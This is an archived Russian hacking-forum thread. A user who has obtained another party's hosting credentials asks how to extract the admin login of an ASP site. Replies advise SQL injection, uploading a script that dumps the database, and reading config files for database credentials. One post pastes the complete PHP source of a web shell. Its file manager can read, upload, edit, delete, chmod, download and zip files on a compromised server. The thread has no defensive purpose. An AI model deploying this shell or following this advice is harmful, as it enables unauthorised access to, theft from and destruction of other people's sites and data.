Добро пожаловать! Это — архивная версия форумов на «Хакер.Ru». Она работает в режиме read-only.
 

сайт на asp

Пользователи, просматривающие топик: none

Зашли как: Guest
Все форумы >> [Веб-программинг] >> сайт на asp
Имя
Сообщение << Старые топики   Новые топики >>
сайт на asp - 2008-08-15 19:50:34.003333   
shaloman

Сообщений: 99
Оценки: 0
Присоединился: 2008-02-24 18:58:48.283333
Я достал логин и пасс от хостинга, на нём есть 2 сайта.
1 меня вообще не интересует, а второй очень интересует. Сайты на сделаны на asp-aspx в этом языке я 0.
Хотел посмотреть что в БД но там оказался файл *.bak бред какойто. Что сделать для того чтобы узнать логин и пароль от админки например. Сайт у меня на компе, при попытке найти *.sql результатов 0. Где искать, подскажите!
Post #: 1
RE: сайт на asp - 2008-08-16 00:11:36.913333   
}{roft

Сообщений: 159
Оценки: 0
Присоединился: 2007-11-08 17:18:30.900000
sql-inj поищи…
quote:

при попытке найти *.sql результатов 0

Ты думаешь базы данных хранятся в файлах с таким расширением чтоли?? :D
Post #: 2
RE: сайт на asp - 2008-08-16 00:35:16.970000   
shaloman

Сообщений: 99
Оценки: 0
Присоединился: 2008-02-24 18:58:48.283333
нет, я незнаю в том то и дело. При попытве скачать базу с Mysql скачалось *.bak !

но *.bak это вроде же не бд.
Post #: 3
RE: сайт на asp - 2008-08-16 00:35:25.860000   
magistr_bender

Сообщений: 977
Оценки: 0
Присоединился: 2008-02-22 20:10:21.133333
бугогашка))))))))))))))))))
а вообще асп это лже-язык.. он предан анафиме и его стоит отлучить от церкви.
ну а если серьёзно то в асп есть стандартная форма подключения к базе.. возьми любой асп эдитор и там пару кликов мышки(даже код писать ненадо будет) заливаеш потом это на тот хостинг и выполняеш код свой и тебе всю базу на экран принтит
Post #: 4
RE: сайт на asp - 2008-08-16 00:37:20.956666   
shaloman

Сообщений: 99
Оценки: 0
Присоединился: 2008-02-24 18:58:48.283333
У меня хостер не поддерживает asp, хотя за хост я плачу.
Post #: 5
RE: сайт на asp - 2008-08-16 00:42:03.650000   
magistr_bender

Сообщений: 977
Оценки: 0
Присоединился: 2008-02-22 20:10:21.133333
да какая разница что там у тебя..
ты на тот хост на котором ты скрипт спионерил залей
Post #: 6
RE: сайт на asp - 2008-08-16 00:46:19.440000   
}{roft

Сообщений: 159
Оценки: 0
Присоединился: 2007-11-08 17:18:30.900000
quote:

но *.bak это вроде же не бд.

Мда…бак - это файл скорей всего резервной копии..Открой его и посмотри что там…
Да и кстати с чего ты взял что БД будет находится в папке к сайту? Сервер БД находится совсем отдельно от всех каталогов с сайтами… Получить доступ к БД ты сможешь только через обращения к нему…Так что ищи в скриптах настройки с подлючением к базе данных…

ЗЫ: Если уж совсем никак не можешь разобраться в коде, найди файлы типа: "global_vars","global_params","config"…Ну ты понял чтото связанное с настройками и глобальными переменными…А как найдешь кидай сюда - посмотрю…
Post #: 7
RE: сайт на asp - 2008-08-16 01:16:45.810000   
magistr_bender

Сообщений: 977
Оценки: 0
Присоединился: 2008-02-22 20:10:21.133333
не в тему но всё же.. вот хороший щэл для сайтика на пхп )

&lt;? ///////////////////////////////// //////////////Шапка////////////// ///////////////////////////////// Error_Reporting(E_ALL &amp; ~E_NOTICE); if(empty($_GET['zip']) and empty($_GET['download']) &amp; empty($_GET['img'])){ list($msec,$sec)=explode(chr(32),microtime()); $HeadTime=$sec+$msec; echo'&lt;!DOCTYPE html PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN"&gt; &lt;html&gt;&lt;head&gt;&lt;meta http-equiv="Content-Type" content="text/html; charset=cp-1251"&gt; &lt;title&gt;Eraser&lt;/title&gt; &lt;style type="text/css"&gt; body { font-family:Comic Sans MS; color:#FF0000; background-color:#FFFFCC;} a { color:#00AA00; text-decoration:underline;} a:hover { color: red; text-decoration: none; position: relative; top: 1px; left: 1px;} a:visited { color: 006600;} b { color:#008800; font-style:bold;} table{ background-color: #FFFFFF; border: 1px solid #FF8800;} td{ margin: 0px; padding: 0px; border: 1px solid #FF8800; background-color: #FFCE52; color: #f00; }&lt;/style&gt; &lt;/head&gt;&lt;body&gt;';} ///////////////////////////////// //////////Файл менеджер////////// ///////////////////////////////// if(empty($_GET['r']) &amp; empty($_GET['input']) &amp; empty($_GET['ren']) &amp; empty($_GET['setchmod']) &amp; empty($_GET['download']) &amp; empty($_GET['up']) &amp; empty($_GET['upload']) &amp; empty($_GET['chmod']) &amp; empty($_GET['rename']) &amp; empty($_GET['rmdir']) &amp; empty($_GET['made']) &amp; empty($_GET['create']) &amp; empty($_GET['del']) &amp; empty($_GET['deldir']) &amp; empty($_GET['f']) &amp; empty($_GET['edit']) &amp; empty($_GET['zip'])&amp; empty($_GET['img'])){ echo'&lt;b&gt;&lt;font color="#FF0000"&gt;Файл менеджер&lt;/font&gt;&lt;/b&gt;&lt;hr&gt;'; if(empty($_GET['d'])){$d="./";} else{$d=$_GET['d'];} if($d=="./"){$vverh='.'.$d;} if($d!=="./"){$vverh=$d.'../';} echo'&lt;a href="?d='.$vverh.'"&gt;На уровень вверх&lt;/a&gt;&lt;br&gt; &lt;a href="?create='.$d.'"&gt;Создать файл здесь&lt;/a&gt;&lt;br&gt; &lt;a href="?up='.$d.'"&gt;Загрузить файл сюда&lt;/a&gt;&lt;br&gt; Вы находитель в каталоге: &lt;font color="#FF0000"&gt;&lt;b&gt;'.$d.'&lt;/b&gt;&lt;/font&gt;&lt;br&gt;'; echo '&lt;font color="#FF0000"&gt;Директории:&lt;/font&gt;&lt;table&gt;'; $dir = opendir($d); while($file = readdir($dir)){ if(is_dir($d.'/'.$file)){ if($file != "." &amp;&amp; $file != ".."){ $mod=substr(sprintf("%o",fileperms($d.'/'.$file)),-3); echo'&lt;tr&gt;&lt;td width="350"&gt;&lt;img src="?img=1" alt=""&gt;&lt;a href="?d='.$d.$file.'/"&gt;'.$file.'&lt;/a&gt;&lt;/td&gt;&lt;td&gt;DIR&lt;/td&gt;&lt;td&gt;'.$mod.'&lt;/td&gt;&lt;td&gt;&lt;a href="?zip='.$d.$file.'/"&gt;&lt;font color="#0000FF"&gt;[zip]&lt;/font&gt;&lt;/a&gt;&lt;/td&gt;&lt;td&gt;&lt;a href="?deldir='.$d.$file.'/"&gt;&lt;font color="#FF0000"&gt;[del]&lt;/font&gt;&lt;/a&gt;&lt;/td&gt;&lt;td&gt;&lt;a href="?ren='.$d.$file.'/"&gt;&lt;font color="#000000"&gt;[rename]&lt;/font&gt;&lt;/a&gt;&lt;/td&gt;&lt;td&gt;&lt;a href="?chmod='.$d.$file.'/"&gt;&lt;font color="#FF3300"&gt;[chmod]&lt;/font&gt;&lt;/a&gt;&lt;/td&gt;&lt;td&gt;&lt;a href="?rmdir='.$d.$file.'/"&gt;&lt;font color="#00FF00"&gt;[revome]&lt;/font&gt;&lt;/a&gt;&lt;/td&gt;&lt;/tr&gt;';}}} echo'&lt;/table&gt;&lt;hr&gt;&lt;font color="#FF0000"&gt;Файлы:&lt;/font&gt;&lt;table&gt;'; $dir = opendir($d); while($file = readdir($dir)){ if(is_file($d.'/'.$file)){ $mod=substr(sprintf("%o",fileperms($d.'/'.$file)),-3); echo'&lt;tr&gt;&lt;td width="350"&gt;&lt;img src="?img=2" alt=""&gt;&lt;a href="?r='.$d.$file.'"&gt;'.$file.'&lt;/a&gt;&lt;/td&gt;&lt;td&gt;'; echo round(filesize("$d/$file")/1024,1); echo' кб.&lt;/td&gt;&lt;td&gt;'.$mod.'&lt;/td&gt;&lt;td&gt;&lt;a href="?f='.$d.$file.'"&gt;&lt;font color="#0000FF"&gt;[edit]&lt;/font&gt;&lt;/a&gt;&lt;/td&gt;&lt;td&gt;&lt;a href="?del='.$d.$file.'"&gt;&lt;font color="#FF0000"&gt;[del]&lt;/font&gt;&lt;/a&gt;&lt;/td&gt;&lt;td&gt;&lt;a href="?ren='.$d.$file.'"&gt;&lt;font color="#000000"&gt;[rename]&lt;/font&gt;&lt;/a&gt;&lt;/td&gt;&lt;td&gt;&lt;a href="?chmod='.$d.$file.'"&gt;&lt;font color="#FF3300"&gt;[chmod]&lt;/font&gt;&lt;/a&gt;&lt;/td&gt;&lt;td&gt;&lt;a href="?download='.$d.$file.'"&gt;&lt;font color="#00FF00"&gt;[down]&lt;/font&gt;&lt;/a&gt;&lt;/td&gt;&lt;/tr&gt;';}} echo'&lt;/table&gt;';} ///////////////////////////////// /////////Переименование////////// ///////////////////////////////// if(isset($_GET['ren'])){ echo'&lt;b&gt;&lt;font color="#FF0000"&gt;Переименование&lt;/font&gt;&lt;/b&gt;&lt;hr&gt;'; echo'&lt;form action="?rename='.$_GET['ren'].'" method="post"&gt; &lt;input name="new_name" value="'.$_GET['ren'].'"&gt;&lt;br&gt; &lt;input type="submit" value="Переименовать!"&gt;';} ///////////////////////////////// ////////////Картинки///////////// ///////////////////////////////// if(isset($_GET['img'])){ $images = array("", "R0lGODlhEwAQALMAAAAAAP///5ycAM7OY///nP//zv/OnPf39////wAAAAAAAAAAAAAAAAAAAAAA". "AAAAACH5BAEAAAgALAAAAAATABAAAARREMlJq7046yp6BxsiHEVBEAKYCUPrDp7HlXRdEoMqCebp". "/4YchffzGQhH4YRYPB2DOlHPiKwqd1Pq8yrVVg3QYeH5RYK5rJfaFUUA3vB4fBIBADs=", "R0lGODlhEwAQAKIAAAAAAP///8bGxoSEhP///wAAAAAAAAAAACH5BAEAAAQALAAAAAATABAAAANJ". "SArE3lDJFka91rKpA/DgJ3JBaZ6lsCkW6qqkB4jzF8BS6544W9ZAW4+g26VWxF9wdowZmznlEup7". "UpPWG3Ig6Hq/XmRjuZwkAAA7"); header("Content-type: image/gif"); echo base64_decode($images[$img]);} ///////////////////////////////// /////////Аплоад файлов/////////// ///////////////////////////////// if(isset($_GET['up'])){ echo'&lt;b&gt;&lt;font color="#FF0000"&gt;Аплоад файлов&lt;/font&gt;&lt;/b&gt;&lt;hr&gt;'; echo'&lt;form method="post" enctype="multipart/form-data"&gt; &lt;input type="hidden" name="upload" value="'.$_GET['up'].'"&gt; &lt;input type="file" name="file"&gt;&lt;br&gt; Сохранить как:&lt;br&gt;&lt;input type="text" name="new_name" value=""&gt;&lt;br&gt; &lt;input type="submit" value="Загрузить"&gt;&lt;/form&gt;';} ///////////////////////////////// /////////Аплоад файлов/////////// ///////////////////////////////// if(isset($_POST['upload'])){ $new_name=trim($_POST['new_name']); if(copy($_FILES["file"]["tmp_name"], $_POST['upload'].$new_name)){ echo 'Файл успешно загружен';} else{echo 'Загрузка файла не удалась!';}} ///////////////////////////////// ////////////Download///////////// ///////////////////////////////// if(isset($_GET['download'])){ $file = file_get_contents($_GET['download']); $name = explode("/",$_GET['download']); $name = $name[count($name)-1]; header('Content-type: text/plain'); header("Content-disposition: attachment; filename=$name"); echo $file;} ///////////////////////////////// /////////////Chmods////////////// ///////////////////////////////// if(isset($_GET['chmod'])){ echo'&lt;b&gt;&lt;font color="#FF0000"&gt;Chmods&lt;/font&gt;&lt;/b&gt;&lt;hr&gt;'; $mod=substr(sprintf("%o",fileperms($_GET['chmod'])),-3); echo'&lt;form action="?setchmod='.$_GET['chmod'].'" method="post"&gt; &lt;input name="chmods" value="'.$mod.'"&gt;&lt;br&gt; &lt;input type="submit" value="Задать chmod!"&gt;';} ///////////////////////////////// /////////////Chmods////////////// ///////////////////////////////// if(isset($_GET['setchmod'])){ echo'&lt;b&gt;&lt;font color="#FF0000"&gt;Chmods&lt;/font&gt;&lt;/b&gt;&lt;hr&gt;'; $chm = chmod($_GET['setchmod'],'0'.$_POST['chmods']); if($chm){echo'Chmod '.$_POST['chmods'].' заданы!';} if(!$chm){echo'Ошмбка задавания chmod '.$_POST['chmods'].'!';}} ///////////////////////////////// ///////Удаление директории/////// ///////////////////////////////// if(isset($_GET['rmdir'])){ echo'&lt;b&gt;&lt;font color="#FF0000"&gt;Удаление директории&lt;/font&gt;&lt;/b&gt;&lt;hr&gt;'; $dir = opendir($_GET['rmdir']); while($dirs = readdir($dir)){ if(is_dir($_GET['rmdir'].$dirs)){ if($dirs != "." &amp;&amp; $dirs != ".."){ $poddir = rmdir($_GET['rmdir'].$dirs);}}} closedir($dir); $ddir = rmdir($_GET['rmdir']); if($ddir){echo'Директория удалена!';} if(!$ddir){echo'Ошибка удаления!';} if($poddir){echo'&lt;br&gt;Поддиректории удалены!';} if(!$poddir){echo'&lt;br&gt;Ошибка удаления поддиректорий!';}} ///////////////////////////////// ////////Переименование/////////// ///////////////////////////////// if(isset($_GET['rename'])){ echo'&lt;b&gt;&lt;font color="#FF0000"&gt;Переименование&lt;/font&gt;&lt;/b&gt;&lt;hr&gt;'; $name = rename($_GET['rename'],$new_name); if($name){echo'Переименовано!';} if(!$name){echo'Ошибка переименования!';}} ///////////////////////////////// //////////Чтение файла/////////// ///////////////////////////////// if(isset($_GET['r'])){ echo'&lt;b&gt;&lt;font color="#FF0000"&gt;Чтение файла&lt;/font&gt;&lt;/b&gt;&lt;hr&gt;'; $file=file($_GET['r']); if($file){ for($i=0; $i&lt;count($file); $i++){ $file[$i] = htmlspecialchars($file[$i]); echo '&lt;small&gt;'.$file[$i].'&lt;/small&gt;&lt;br&gt;';}} if(!$file){echo'Ошибка чтения файла!';}} ///////////////////////////////// /////////Удаление файла////////// ///////////////////////////////// if(isset($_GET['del'])){ echo'&lt;b&gt;&lt;font color="#FF0000"&gt;Удаление файла&lt;/font&gt;&lt;/b&gt;&lt;hr&gt;'; $delete = unlink($_GET['del']); if($delete){print 'Файл &lt;b&gt;'.$_GET['del'].'&lt;/b&gt; удален!&lt;hr&gt;';} if(!$delete){print 'Ошибка удаления файла &lt;b&gt;'.$_GET['del'].'&lt;/b&gt;!';}} ///////////////////////////////// //Удаление файлов из каталогов/// ///////////////////////////////// if(isset($_GET['deldir'])){ echo'&lt;b&gt;&lt;font color="#FF0000"&gt;Удаление файлов из каталогов&lt;/font&gt;&lt;/b&gt;&lt;hr&gt;'; $dir = opendir($_GET['deldir']); while($files = readdir($dir)){ if(is_file($_GET['deldir'].$files)){ $del = unlink($_GET['deldir'].$files);} if(is_dir($_GET['deldir'].$files) &amp;&amp; $files !="." &amp;&amp; $files !=".."){ $odir = opendir($_GET['deldir'].$files); while($reddir = readdir($odir)){ if(is_file($_GET['deldir'].$files.'/'.$reddir)){ $delet = unlink($_GET['deldir'].$files.'/'.$reddir);}}}} if($del){print 'Файлы из директории &lt;b&gt;'.$_GET['deldir'].'&lt;/b&gt; удалены!';} if(!$del){print 'Ошибка удаления файлов из из директории &lt;b&gt;'.$_GET['deldir'].'&lt;/b&gt;!';} if($delet){print'&lt;br&gt;Файлы из подкаталогов в директории &lt;b&gt;'.$_GET['deldir'].'&lt;/b&gt; удалены!';} if(!$delet){print'&lt;br&gt;Ошибка удаления Файлов из подкаталогов в директории &lt;b&gt;'.$_GET['deldir'].'&lt;/b&gt;!';}} ///////////////////////////////// //////Редактирование файла/////// ///////////////////////////////// if(isset($_GET['f'])){ echo'&lt;b&gt;&lt;font color="#FF0000"&gt;Редактирование файла&lt;/font&gt;&lt;/b&gt;&lt;hr&gt;'; $file = file_get_contents($_GET['f']); $file = htmlspecialchars($file); echo'&lt;form action="?edit='.$_GET['f'].'" method="post"&gt; &lt;textarea cols="100" rows="15" name="text"&gt;'.$file.'&lt;/textarea&gt;&lt;br&gt; &lt;input type="submit" value="Редактировать!"&gt;';} ///////////////////////////////// /////////Создание файла////////// ///////////////////////////////// if(isset($_GET['create'])){ echo'&lt;b&gt;&lt;font color="#FF0000"&gt;Создание файла&lt;/font&gt;&lt;/b&gt;&lt;hr&gt;'; echo'&lt;form action="?made='.$_GET['create'].'" method="post"&gt; &lt;input name="new_name" value="Название нового файла"&gt;&lt;br&gt; &lt;textarea cols="100" rows="15" name="new_file"&gt;Содержимое нового файла&lt;/textarea&gt;&lt;br&gt; &lt;input type="submit" value="Создать!"&gt;';} ///////////////////////////////// /////////Создание файла////////// ///////////////////////////////// if(isset($_GET['made'])){ echo'&lt;b&gt;&lt;font color="#FF0000"&gt;Создание файла&lt;/font&gt;&lt;/b&gt;&lt;hr&gt;'; $fp = fopen($_GET['made'].$_POST['new_name'],"w"); fputs($fp,$_POST['new_file']);&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; fclose($fp); chmod($_GET['made'].$_POST['new_name'], 0777); if($fp){echo'Файл создан!';} if(!$fp){echo'Ошибка создания файла!';}} ///////////////////////////////// //////Редактирование файла/////// ///////////////////////////////// if(isset($_GET['edit'])){ echo'&lt;b&gt;&lt;font color="#FF0000"&gt;Редактирование файла&lt;/font&gt;&lt;/b&gt;&lt;hr&gt;'; $fp = fopen($_GET['edit'],"w"); fputs($fp,$_POST['text']);&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; fclose($fp); chmod($_GET['edit'], 0777); if($fp){echo'Файл отредактирован!';} if(!$fp){echo'Ошибка записи файла!';}} ///////////////////////////////// //////////Зипирование//////////// ///////////////////////////////// if(isset($_GET['zip'])){ class zipfile { &nbsp;&nbsp; var $datasec = array(); &nbsp;&nbsp; var $ctrl_dir = array(); &nbsp;&nbsp; var $eof_ctrl_dir = "\x50\x4b\x05\x06\x00\x00\x00\x00"; &nbsp;&nbsp; var $old_offset = 0; &nbsp;&nbsp; function add_dir($name) &nbsp;&nbsp; { &nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; $name = str_replace("\\", "/", $name); &nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; $fr = "\x50\x4b\x03\x04"; &nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; $fr .= "\x0a\x00";&nbsp;&nbsp; &nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; $fr .= "\x00\x00";&nbsp;&nbsp; &nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; $fr .= "\x00\x00";&nbsp;&nbsp; &nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; $fr .= "\x00\x00\x00\x00"; &nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; $fr .= pack("V",0); &nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; $fr .= pack("V",0); &nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; $fr .= pack("V",0); &nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; $fr .= pack("v", strlen($name) ); &nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; $fr .= pack("v", 0 ); &nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; $fr .= $name; &nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; $fr .= pack("V",$crc); &nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; $fr .= pack("V",$c_len); &nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; $fr .= pack("V",$unc_len); &nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; $this -&gt; datasec[] = $fr; &nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; $new_offset = strlen(implode("", $this-&gt;datasec)); &nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; $cdrec = "\x50\x4b\x01\x02"; &nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; $cdrec .="\x00\x00";&nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; $cdrec .="\x0a\x00";&nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; $cdrec .="\x00\x00";&nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; $cdrec .="\x00\x00";&nbsp;&nbsp; &nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; $cdrec .="\x00\x00\x00\x00"; &nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; $cdrec .= pack("V",0); &nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; $cdrec .= pack("V",0); &nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; $cdrec .= pack("V",0); &nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; $cdrec .= pack("v", strlen($name) ); &nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; $cdrec .= pack("v", 0 ); &nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; $cdrec .= pack("v", 0 ); &nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; $cdrec .= pack("v", 0 ); &nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; $cdrec .= pack("v", 0 ); &nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; $ext = "\x00\x00\x10\x00"; &nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; $ext = "\xff\xff\xff\xff"; &nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; $cdrec .= pack("V", 16 ); &nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; $cdrec .= pack("V", $this -&gt; old_offset ); &nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; $this -&gt; old_offset = $new_offset; &nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; $cdrec .= $name; &nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; $this -&gt; ctrl_dir[] = $cdrec; &nbsp;&nbsp; } &nbsp;&nbsp; function add_file($data, $name) &nbsp;&nbsp; { $name = str_replace("\\", "/", $name); $fr = "\x50\x4b\x03\x04"; &nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; $fr .= "\x14\x00";&nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; $fr .= "\x00\x00";&nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; $fr .= "\x08\x00"; &nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; $fr .= "\x00\x00\x00\x00"; &nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; $unc_len = strlen($data); &nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; $crc = crc32($data); &nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; $zdata = gzcompress($data); &nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; $zdata = substr( substr($zdata, 0, strlen($zdata) - 4), 2); &nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; $c_len = strlen($zdata); &nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; $fr .= pack("V",$crc); &nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; $fr .= pack("V",$c_len); &nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; $fr .= pack("V",$unc_len); &nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; $fr .= pack("v", strlen($name) ); &nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; $fr .= pack("v", 0 ); &nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; $fr .= $name; &nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; $fr .= $zdata; &nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; $fr .= pack("V",$crc); &nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; $fr .= pack("V",$c_len); &nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; $fr .= pack("V",$unc_len); &nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; $this -&gt; datasec[] = $fr; &nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; $new_offset = strlen(implode("", $this-&gt;datasec)); &nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; $cdrec = "\x50\x4b\x01\x02"; &nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; $cdrec .="\x00\x00";&nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; $cdrec .="\x14\x00";&nbsp; &nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; $cdrec .="\x00\x00";&nbsp;&nbsp; &nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; $cdrec .="\x08\x00"; &nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; $cdrec .="\x00\x00\x00\x00"; &nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; $cdrec .= pack("V",$crc); &nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; $cdrec .= pack("V",$c_len); &nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; $cdrec .= pack("V",$unc_len); &nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; $cdrec .= pack("v", strlen($name) ); &nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; $cdrec .= pack("v", 0 ); &nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; $cdrec .= pack("v", 0 ); &nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; $cdrec .= pack("v", 0 ); &nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; $cdrec .= pack("v", 0 ); &nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; $cdrec .= pack("V", 32 ); &nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; $cdrec .= pack("V", $this -&gt; old_offset ); &nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; $this -&gt; old_offset = $new_offset; &nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; $cdrec .= $name; &nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; $this -&gt; ctrl_dir[] = $cdrec; &nbsp;&nbsp; } &nbsp;&nbsp; function file() { &nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; $data = implode("", $this -&gt; datasec); &nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; $ctrldir = implode("", $this -&gt; ctrl_dir); &nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; return &nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; $data. &nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; $ctrldir. &nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; $this -&gt; eof_ctrl_dir. &nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; pack("v", sizeof($this -&gt; ctrl_dir)).&nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; pack("v", sizeof($this -&gt; ctrl_dir)). &nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; pack("V", strlen($ctrldir)).&nbsp;&nbsp; &nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; pack("V", strlen($data)).&nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; "\x00\x00"; }} $abort = ignore_user_abort(1); $zipfile = new zipfile(); $fdir = opendir($_GET['zip']); while($file = readdir($fdir)){ if ($file != '.' and $file != '..'){ if (is_file($_GET['zip'].$file)){$zipfile-&gt;add_file(file_get_contents($_GET['zip'].$file),$file);} if (is_dir($_GET['zip'].$file)){ $sdir = opendir($_GET['zip'].$file); while($sfile = readdir($sdir)){ if ($sfile != '.' and $sfile != '..'){ if (is_file($_GET['zip'].$file.'/'.$sfile)){$zipfile-&gt;add_file(file_get_contents($_GET['zip'].$file.'/'.$sfile), $file.'/'.$sfile);}}}}}} $name = explode("/",$_GET['zip']); $file = $name[count($name)-2]; header('Content-type: application/octet-stream'); header("Content-disposition: attachment; filename=$file.zip"); echo $zipfile-&gt;file();} ///////////////////////////////// //////////////Ноги/////////////// ///////////////////////////////// if(empty($_GET['zip']) and empty($_GET['download']) &amp; empty($_GET['img'])){ echo'&lt;br&gt;&lt;a href="?"&gt;В начало&lt;/a&gt; &lt;br&gt;&lt;a href="http://sotp.3dn.ru"&gt;Made by NooB&lt;/a&gt;&lt;br&gt;'; list($msec,$sec)=explode(chr(32),microtime());&nbsp; echo round((($sec+$msec)-$HeadTime),4).' cek.'; echo'&lt;/body&gt;&lt;/html&gt;';} ?&gt;
Post #: 8
RE: сайт на asp - 2008-08-16 01:59:01.840000   
}{roft

Сообщений: 159
Оценки: 0
Присоединился: 2007-11-08 17:18:30.900000
quote:

не в тему но всё же.. вот хороший щэл для сайтика на пхп )

